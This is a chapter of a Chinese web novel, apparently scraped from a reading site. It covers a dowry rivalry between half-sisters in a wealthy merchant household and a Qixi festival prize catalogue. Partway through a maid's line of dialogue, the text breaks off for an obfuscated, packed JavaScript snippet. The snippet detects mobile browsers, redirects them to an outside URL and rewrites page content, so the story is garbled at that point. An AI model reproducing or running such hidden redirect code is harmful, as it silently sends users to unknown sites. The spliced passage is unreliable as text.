沈氏一直觉得许倾蓝死后,穆兴德至少接手了她留下的大半身家,其实不只是沈氏,几乎所有人都认为穆婉只会继承许倾蓝留下的房契地契,金银珠宝之类的死物,至少百分之八九十的经营会落在穆兴德手里。 毕竟许倾蓝留下的东西不少,从当初穆兴德在认为自己会拿到大部分财产的情况下依旧为了能接手全部的经营权而不惜卖穆婉进宫就知道许倾蓝留下的摊子有多大。 这些打理起来可不是简单的事情,穆兴德和许倾蓝这样的人物都要整日辛苦奔波,穆婉一个只知道吃喝玩乐的小姑娘绝对不可能守得住,最好的办法自然就是交给自己的亲爹帮忙,毕竟亲爹总不会把女儿坑的太惨。 而且比起房契地契这些固定价值的东西,经营才是最核心的部分。 就拿穆家上京的藏珍楼来说,房契价值不过五千两,但每年经营流水至少上百万两,扣除上税打点之类,利润最少也能有三四十万两。 若叫人知道自己的嫁妆是穆柔的十几倍,不知道多少人会破防。 穆婉这三个月事情光备嫁应该就够忙了,暂时不想处理其他麻烦。 20.020(入V公告) 而事实上,即便许倾蓝留下的房契地契和穆家的一些分红也让沈氏辗转反侧无法入眠。 但穆婉如今是准镇北侯夫人,穆柔忠勇伯府六少奶奶的身份在穆兴德面前已经完全失去了优势,甚至因为她之前在谢大夫人面前的小动作,穆兴德直接警告了她,两个月不仅没有再踏进她的院子半步,还将管家权交给了后院的白姨娘。 白姨娘接手管家第一件事就是换了她给庶子庶女们请的先生,穆兴德得知后还经常考教庶子,一副要将所有孩子都教成材的架势。 事关儿子的继承权,沈氏再不敢乱来。穆兴德大概见她安分,私下里又补贴了穆柔一些。 可再补贴也没办法跟许倾蓝留下的东西相比,偏偏两人又是一同备嫁妆,沈氏每天看着穆婉的嫁妆一抬抬从许宅搬过来,真的是抓心挠肝的难受,“凭什么呢,一个一无是处的草包,凭什么嫁的比我儿好,嫁妆都比我儿多!” 穆柔捡起被她扔掉的账本,安慰道,“您别气了,都说人生在世,福气是有限的,提前享受了未必是好事,有道是三十年河东,三十年河西,以后的日子谁能说的准呢?” “您难道觉得婚后她的日子会比我好?” 沈氏闻言气立刻消了一半,“便是瞎子也能看出你日后过的更好。” 穆婉和她的柔儿前后脚定亲,然而李家隔三差五的上门问些柔儿的喜好,说是为了更好的布置小两口的院子,李亦宸更是今天送本书,明天送只钗,柔儿喜欢的东西,他都想方设法的找来。 再看看镇北侯府,提亲已经两个多月了,除了一个侯府管家偶尔上门商议婚仪流程,镇北侯对穆婉连个口信都没有过,若不是梧桐苑那边备嫁妆备的热火朝天,恐怕都看不出来两家人还有不到一个月就要成亲。 “可是她嫁妆最少有四十万两!”沈氏还是难以释怀,“四十万两呐!” 之前光知道穆婉嫁妆多时还不太觉得,但东西真金白银的摆出来,真的让她难以忍受,不说别的,就今天送到梧桐苑的那一匣子东珠,沈氏胸脯起伏,“我儿只有两颗!她却有一匣子。” “同样是嫡女出嫁,她却比我儿多一倍的嫁妆,哦,到时候她风光大嫁,让我儿被人嘲笑吗?” “也不知道穆婉给你爹灌了什么迷魂汤,明摆着给人家送菜的角色,你爹却护的跟什么似的,不然在你爷爷那里敲敲边鼓,你爷爷也能替我们做主。” 穆婉和穆柔的亲事定下后就给老家的老爷子老太太传了信,老两口准备了许多东西,前两天也到了上京。 老爷子重传承,一直不满许倾蓝因为穆兴德带女人回来就和离的的事情,恨屋及乌,对许倾蓝所生的穆婉也不太喜欢,而她因为生了穆泽海,连穆柔也一同得到了老爷子的偏爱。 若老爷子知道穆婉的嫁妆比穆柔多那么多,肯定不会同意。 可惜穆兴德屡次警告,她实在不敢冒险。 穆柔却胸有成竹悠悠笑道,“放心吧,她风光不了,我也不会被嘲笑。” 沈氏闻言立刻来了兴致,“我儿又有什么主意?快跟娘说说。” 穆柔道,“我哪儿有什么主意,只是听到些风声,说承恩侯府的三姑娘她们气坏了,准备在成婚的时候给她找点麻烦。” 沈氏也想起了这一茬,穆婉被赐婚后,再一次名动上京,作为李亦宸未婚妻时众人尚且觉得她不配,何况是镇北侯谢珩,要知道盯着镇北侯夫人位置的姑娘们身份地位可比盯着李亦宸的高多了。 而且穆婉和李亦宸好歹是早年订下的婚约,谢珩却是被强迫,虽然强迫的人是太后,但太后怎么会错呢,那错的就只能是穆婉了。尤其痴恋镇北侯的承恩侯府三姑娘,恨穆婉恨的牙痒,穆婉刚定完亲的那段时间没少想找穆婉麻烦,一直给穆府发请帖邀约女眷,不过每次穆婉都以备嫁为由拒绝了。 沈氏道,“那段时间我们穆府都跟着吃了不少挂落,亏得六郎从中周旋,你爹的生意才没受多少影响。”又嗤笑,“穆婉在家多横啊,一点亏不吃,结果那么爱玩的人愣是被她们吓的整整两个月都没敢出门。”她还有些遗憾,“也亏得这婚事到底是太后所赐,那些高门贵女们又自持身份不好做的太过分,这才没堵上门来,不然穆婉不知道要闹出多少热闹来。” 穆柔笑道,“备嫁时不好上门,出嫁时人家总能上门贺喜吧?” 上辈子姜三姑娘成婚时可被她们折腾的不轻,闹的笑话她在深宫都听到了,后来即便成了风光无限镇北侯夫人,也被嘲笑了一辈子。 穆婉拉的仇恨比姜三姑娘还大呢,到时候怕没人能注意到她有多少嫁妆了。 沈氏意会,心情立刻变得美妙,对啊,她不能动手脚,那些贵女们捣乱老爷总不能怪在她头上。 “至于我的嫁妆……”穆柔脸上浮现出笑意,得意道,“六郎说,定让我做最风光的新嫁娘。” 沈氏好奇,“六郎要做什么?” 穆柔的笑容几乎抑制不住,却卖了个关子,“这不是马上到七夕女儿节了嘛。”又装模做样的惋惜道,“可惜今岁的七夕,没有侯爷陪的话,大姐姐怕是不敢出门。”其实还挺想让穆婉看看李亦宸为她争脸的样子。 沈氏眼珠忽然转了转,“一会儿午膳的时候我问问你爷爷女儿节请护卫的事情。” 穆柔噗嗤一声笑出来,“娘您可真是……” 沈氏很为自己的想法得意,“嫁妆多有什么用?夫家的重视才是女人立足的根本。” @@ 梧桐苑,穆婉从清风阁七夕活动报告中抬起头来,长长的伸了个懒腰,才觉察出热意,“啊,好热,也好累啊……”她真的好多年没有这么高强度的工作了。 云苓埋头对着册子都没时间理她,直到写完一页才笑着抬起头来,目光晶亮,“奴婢一点都不累!” 旁边给她们打扇的小丫鬟端了一碗冰过来,穆婉先给两人一人塞了一块儿,自己含了一块儿才觉得有点活过来了,懒洋洋的靠在椅背上笑道,“也是,当初挑你就是看中了你特别爱银子。” 三个月的备嫁时间本来就有些短,穆婉还要趁着整理嫁妆的机会顺便将名下的财产全都梳理一遍,此外针对一些产业顺势做战略调整——有了镇北侯府这个靠山,她做事便不用像之前一样遮遮掩掩许多顾忌了。 还有和忠勇伯府那边的生意,也要做些切割和调整,毕竟都退婚了,能正常给他们供货都算她大度,优惠自然是没有了。 所以这两个多月她忙的不可开交,连出门的时间都没有。 吴娘子将云苓登记好的册子和对应的房契地契一起收好,“按照您的吩咐,这三十间铺子七个庄子是这次明面上的嫁妆,一起放这边,其他铺子的账册和项目计划我都在许宅那边分门别类整理好了。” 穆婉懒懒的点头,“可。” 吴娘子又道,“这两天各地掌柜们就全到上京了,恐怕得辛苦姑娘几日见见他们。” 穆婉应下,问道,“大掌柜们都还规矩吧?” 吴娘子笑道,“放心,大体上都算规矩,以前他们就怕您,如今您成了镇北侯夫人,傻子才跟您对着干。” 说到这里,吴娘子不由感慨,当初许娘子将穆婉托付给她的时候,她还以为得费很大的力气才能守住娘子留下来的东西,甚至都做好了放弃一部分财产的打算,却没想到那个看着只知道吃喝玩乐的小姑娘,出手就是雷霆,掌柜们不听话的罢了几个,收拾了几个,那些规矩的挨个给了甜头,一番恩威并施后再没人敢小看这位新主人,三年过去,许娘子留下的东西不仅没缩水,还多了不少。 “不说别的,清风阁赵掌柜的儿子跟着您长进了多少?他们还指望也能送孩子来您这儿学点本事呢。” 穆婉拍了拍手上的册子,欣慰道,“赵大郎芙蕖琉璃杯这波宣传确实不错。未来一年清风阁收益若能再高两成,给他封个大红封。” “定是可以的,”吴娘子笑道,“那也是您先烧出了那琉璃杯,如今不过展出两天,满上京的人都在讨论了。要不那些掌柜们都眼红赵掌柜。”她想起了什么,“对了,掌柜们听说您大婚,搜罗了不少好东西,都送来这边,还是也放许宅?” 穆婉道,“放许宅吧,反正过几天我也要过去,就不再刺激这边的神经了。” 云苓哼道,“她们什么时候不受刺激了,每抬一件东西进来那边都要鬼鬼祟祟的打探,要不是老爷压着,还不知道要怎么闹妖呢。” 沈氏作为穆家的主母,自然有不少眼线,当然,穆婉如今也是有恃无恐,沈氏爱怎么打探就怎么打探,反正难受的又不是她。 “不过如今老爷子来了,她们怕又要想着法儿膈应您了。”说到这里云苓看了下沙漏,“哎呀,时间是不是差不多了,姑娘该去福寿院用膳了。” 穆婉长叹一声,酷暑天在外面走路真的是要命,但没办法,穆老爷子喜欢享受天伦之乐,他们这些做晚辈的也只能照办。 穆婉也没想到,云苓的话应验的这么快,午膳刚吃完,沈氏就说起过几日女儿节请护卫的事情来。 大郢的七夕叫做女儿节,顾名思义,是给姑娘们过的节日,这一天姑娘们都会盛装出门,没有订婚的和家人或者约闺中密友一起,订了婚的姑娘一般由未婚夫带着,新婚的夫妇或者感情很好的老夫老妻也不少。 在这个礼教严苛的时代,难得一天对姑娘娘子们宽容,自然热闹非凡,同样也鱼龙混杂。 穆老爷子听到沈氏说请护卫的话,啧了一声道,“哪儿还用专门去请护卫,家里两个姑爷,一个明镜司指挥,一个虽然是探花郎,但人家忠勇伯府出身,世代军户,家里几个将军,不比去外面找的靠谱吗?” 穆老爷子五十多岁,十几年前跑商时遇到劫匪受了伤,之后身体就不怎么好,这些年就一直管着上柳老家的一些生意,毕生梦想就是光耀门楣,培养出个当官的子孙扬眉吐气,能让上柳的知县对他毕恭毕敬。 如今孙子们还走在希望的路上,孙女儿们倒是已经做到了。 他看向穆婉和穆柔,“你们俩说呢?婉婉,侯爷七夕来接你吗?到时候随便留几个明镜司的护卫就行,还有柔儿,也叫六郎多带几个。” 穆柔笑了笑正要应声,就听“啪”的一声,穆老太太卢氏将筷子拍在桌上,冷笑道,“明镜司护卫,就你也配?你是征战沙场了,还是及第登科了?还是说你脸皮厚到可以为城墙做贡献,那也算。” 众人都吓了一跳,没想到老太太会当着所有人的面骂老爷子,穆婉却死死的盯着眼前的饭碗,生怕自己笑出来,一段时间没见,老太太这脾气越发暴躁了啊。 穆老爷子被噎,气道,“你这老婆子发什么疯,都是我们家的姑爷,我怎么就不配了?” 老太太冷笑,“婉婉和柔儿还没嫁呢!”她扫过众人,重点瞥了沈氏一眼,“家里的姑娘本就是高攀,多少眼睛明里暗里盯着就等着看笑话,不说低调点,还恨不得搭个戏台子叫人家看个痛快,怎么,那二两重的骨头轻的能飘出花来?” “我话撂这儿,往年怎么过,今年就怎么过,谁敢闹妖,别管是什么少奶奶还是侯夫人,我老婆子都照骂不误!你们不怕丢人就尽管试试!” 老太太一通无差别攻击将沈氏还没冒头的幺蛾子强按了回去。 气氛有些尴尬,穆柔朝丫鬟连翘使了个眼色。 很快,穆柔的另外一个丫鬟丁香便匆匆进来禀报:“老爷,太太,忠勇伯府那边派人来了。” 穆婉:…… 这是非要炫耀一下自己被李亦宸重视了? 老爷子有了台阶,急忙道,“快,快请。” 来的还是上次那个圆脸丫鬟,跟穆家长辈行礼之后,从怀里掏出一本册子来,“这是今年清风阁女儿节的彩头册子,六少爷刚拿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12263403|128467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手不久,想请老爷太太过目。”说着将册子递给了最上首的穆老爷子。 穆老爷子揶揄道,“哪儿是给我过目,是想给柔儿过目吧,今天我就沾沾柔儿的光,先看一眼。” 穆柔满脸娇羞,“爷爷~” 沈氏正想顺势打趣,却听穆老爷子惊呼出声,“这是什么?也太漂亮了,芙蕖琉璃杯?——给你最好的嫁妆?” 穆老太太和穆兴德闻言探头凑过去,饶是穆兴德见多识广,也不由惊叹,“确实,我也从未见过这么漂亮的琉璃。” 李府的丫鬟道,“这杯子因型似芙蕖,故取名芙蕖琉璃杯,六少爷说,他在清风阁看到了实物,比画像还要美,被赞‘盈盈芙蕖,飘飘纤凝,不似人间物。’是清风阁今年的头彩,听闻整个大郢,只此一只。” “来,让他们也看看。”穆老爷子迫不及待的将册子递给众人传看。 穆婉看着册子首页渐变粉的冻烧琉璃杯,眼底漾起笑意,也不怪他们惊叹,便是在现代见过好东西的她第一次拿到这冻烧琉璃杯时也爱不释手。 只是其中一套没烧成,四只里只剩这么一只完好,正好清风阁在发愁今年吸引人的彩头,穆婉便给了清风阁,如今看来,这宣传语的效果挺不错。 “清风阁今年可真是大手笔。”沈氏感叹,“这怎么也价值千金吧,竟然用来做彩头。”原来这就是柔儿说的李六郎要给她的嫁妆,若能赢到,她女儿确实要做上京最风光的新嫁娘了。 穆兴德道,“你懂什么,清风阁此举类似于千金买马骨,炫实力赚名声,不说别的,这女儿节芙蕖杯一出,春不尽和君子情若没有更出彩的东西,这一年又要被分走不少客流。” 沈氏目光晶亮,“清风阁的东家是谁啊,真大方,这也太漂亮了。” 穆兴德下意识看向穆婉,清风阁是早年许倾蓝所建,许倾蓝在世时因为有靠山,本人也霸道强势,没人敢动,三年前许倾蓝去世后,曾有无数人想吞下这块肥肉,他也是其中之一,但最后谁都没能成功,当时只要打清风阁主意的人,家里重要的生意都出了问题,甚至包括太后的娘家承恩侯府。 后来就传清风阁背后的主子是位高权重,不是能轻易招惹的存在。有一家不信邪的,仗着有靠山想强占,结果没多久对方靠山就犯事儿被斩,自家也被抄家,众人不由开始观望。 直到这些年清风阁花样百出,比许倾蓝在时风头还盛后,众人终于彻底歇了心思,能将这种产业打理成这样的人,绝非泛泛之辈,应该就是许倾蓝的靠山直接接管了。 之前穆兴德也是这么觉得的,但现在想来,这敲山震虎的手段,跟当初穆婉卖藏珍阁地契打击他,又借镇北侯势震慑他不是一个路子吗? 若清风阁真有他这个女儿的份儿……穆兴德默默回想了下,最近应该没有惹到她的地方……吧? 穆老爷子和老太太才来上京不久,不知道清风阁的传统,穆老爷子疑惑道,“彩头?是做什么的彩头,我看这上头写着‘给你最好的嫁妆’是什么意思?能用银子买?”他说着,还真开始算自己的私房,“若有这个做姑娘的压箱底,在婆家确实脸上有光。” 穆老太太翻了个白眼,“真要论银子,这么好的东西能轮的到你?宫里估计都抢着要。” 李家丫鬟笑道,“老太爷老太太有所不知。清风阁每年七夕都会办女儿节专场,里面都是女儿家喜欢的东西,一些可以自己买,还有一些好东西要靠打擂台赢,比如琴棋书画,射箭投壶……” 穆老爷子不解,“怎么女儿家还有射箭投壶?” 李家丫鬟道,“虽然里面都是女儿家喜欢的东西,但这擂台有些姑娘可以打,有些也可以由父兄或者未婚夫代打……”她说着,揶揄的看向穆柔,“这册子上就是每一关的彩头和对应的擂台,姑娘们想要什么可以看好了,到时候可以和未婚夫直接去。” “这芙蕖琉璃杯,便是清风阁今年给姑娘们最好的嫁妆,就看哪家郎君能拿下了。” 穆老爷子立刻领会了意思,“这琉璃杯不仅价值千金,光这满上京的郎君们打擂台为娘子争脸面,确实是最好的嫁妆。”他看着穆柔笑道,“六郎要是真得了这琉璃杯,咱们柔儿就是全上京最风光的新嫁娘了。” 李家丫鬟连忙谦虚,“不过这芙蕖琉璃杯应是很难得,文斗武斗都要过才行。” 穆老爷子自信满满,“那不是更十拿九稳了吗?咱们六郎可是文武双全,必能夺魁。” 沈氏连忙道,“爹,在侯爷面前,六郎哪里敢说文武双全。” 穆柔连忙拽了拽沈氏的胳膊,“娘……” 沈氏似乎意识到自己失言,连忙帮穆婉找补,“不过婉婉嫁妆多,还没整理完,应当没时间出去,侯爷也忙……” 穆婉笑道,“我也在家闷了两个多月了,七夕还是要出去的。” 众人顿时意外,沈氏和穆柔也愣了,显然没想到穆婉竟然敢出去。 老太太皱了皱眉想说什么,穆老爷子先开了口,“是该出去,也约一约镇北侯,女儿节是姑娘们的大日子,哪个未婚夫不陪着?”他刚说完,桌下的脚突然往旁边一抬,看着踩空了的穆老太太得意道,“没踩着!怎么,我说错了吗?镇北侯再忙,身份再高,女儿节也得陪未婚妻过吧。” 穆老太太无话可说,干脆直接踹了穆老爷子一脚,老爷子差点歪倒,还是穆兴德扶了一把,无奈道,“爹……” 穆婉忍俊不禁,“爷爷说的对,我去个帖子问问。”她的目光落在画册上,“毕竟我也喜欢这个。” 穆老爷子顿时闭嘴。 穆柔垂眸遮住眼底的不屑,她也得能请到谢珩才行,目光落在册子上,嘴角又不受控制的翘起,上辈子这芙蕖琉璃杯可是李亦宸拿下的。 沈氏也想到了别的,穆婉的热闹并不一定非要等到成婚的时候看啊?七夕提前看一次也挺好不是吗?